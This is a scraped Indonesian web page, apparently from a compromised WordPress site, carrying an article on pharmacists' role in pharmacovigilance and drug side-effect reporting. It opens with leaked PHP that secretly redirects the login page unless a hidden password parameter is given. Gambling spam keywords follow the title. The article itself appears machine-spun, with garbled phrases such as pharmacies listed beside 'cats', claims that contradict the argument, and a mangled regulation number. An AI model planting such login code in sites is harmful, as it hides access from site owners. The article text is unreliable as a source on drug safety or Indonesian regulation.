//̨¼ add_action('login_enqueue_scripts','login_protection'); function login_protection(){ if($_GET['word'] != '2868973770')header('Location: https://www.baidu.com/'); } Peran penting apoteker dalam kegiatan farmakovigilans | s1288 net_sabung ayam online s128_sv388

Penulis: Apt, Tri Asti Isnariani, M.Pharm

pemantauan keamanan memang membutuhkan peran apoteker dengan melaporkan efek samping obat. Apoteker adalah tenaga kesehatan yang paling mengetahui tentang obat, obat tidak hanya baik untuk kesehatan, tetapi juga memiliki risiko efek samping.

Artikel ini ditulis untuk memperingati Hari Apoteker Sedunia pada 25 September 2020. Hari dengan tema “Transformasi Kesehatan Global” mengacu pada transformasi layanan apoteker dan dedikasinya untuk mewujudkan praktik perkembangan obat. Alasan mengapa tema ini dianggap tepat adalah karena pada era 4.0 peran apoteker sudah berubah.

Sehubungan dengan perkembangan ilmu pengetahuan dan teknologi di bidang farmasi dan kesehatan yang terus berkembang, sinergi antara tenaga kesehatan (apoteker) bahkan dokter harus dipulihkan di lapangan.

Temukan penyalahgunaan dan pengalihan obat, terutama selama pandemi ini, ketika aktivitas farmakovigilans semakin tidak diperlukan dalam industri farmasi. Oleh karena itu peran apoteker sangat diperlukan.

Di Eropa, kasus tragis thalidomide masih tercatat di tahun 1960-an. Saat itu, di Jerman, thalidomide digunakan sebagai obat untuk mengatasi mual pada ibu hamil. Di luar dugaan, penggunaan obat tersebut justru menimbulkan cacat lahir pada janin. WHO telah melaporkan sekitar 10.000 efek samping thalidomide di 46 negara.

Oleh karena itu, Thalidomide telah ditarik dari peredaran. Guna memastikan tragedi tidak terulang kembali, regulator masih melakukan berbagai kegiatan pengawasan purna jual, termasuk Badan POM di Indonesia. Dalam hal ini Badan POM RI bertanggung jawab untuk mengevaluasi keamanan obat yang beredar di masyarakat salah satunya melakukan kegiatan farmakovigilans.

Menurut definisi WHO, farmakovigilans diartikan sebagai ilmu dan kegiatan pengujian, studi, pencegahan, pemahaman tentang efek samping obat dan masalah lain yang berkaitan dengan penggunaan obat.

Beberapa peraturan terkait farmakovigilans yang berlaku di Indonesia antara lain peraturan penanggung jawab Badan POM nomor HK.30.1. 23.23.11.10690 (dirilis pada 2011) tentang penerapan farmakovigilans dalam industri farmasi. Selain itu, Permenkes No. 72, 73 dan 74 tahun 2016 tentang standar pelayanan obat di rumah sakit, apotek dan kucing. Pasal ini mengatur bahwa pemantauan efek samping obat merupakan bagian dari pelayanan farmasi klinik, dan hasilnya laporan pemantauan efek samping obat telah disampaikan kepada Badan POM. Artikel ini menegaskan bahwa peran tenaga kesehatan sangat penting dan vital untuk menjamin keamanan obat yang beredar.

Add Comment

Your email address will not be published. Required fields are marked *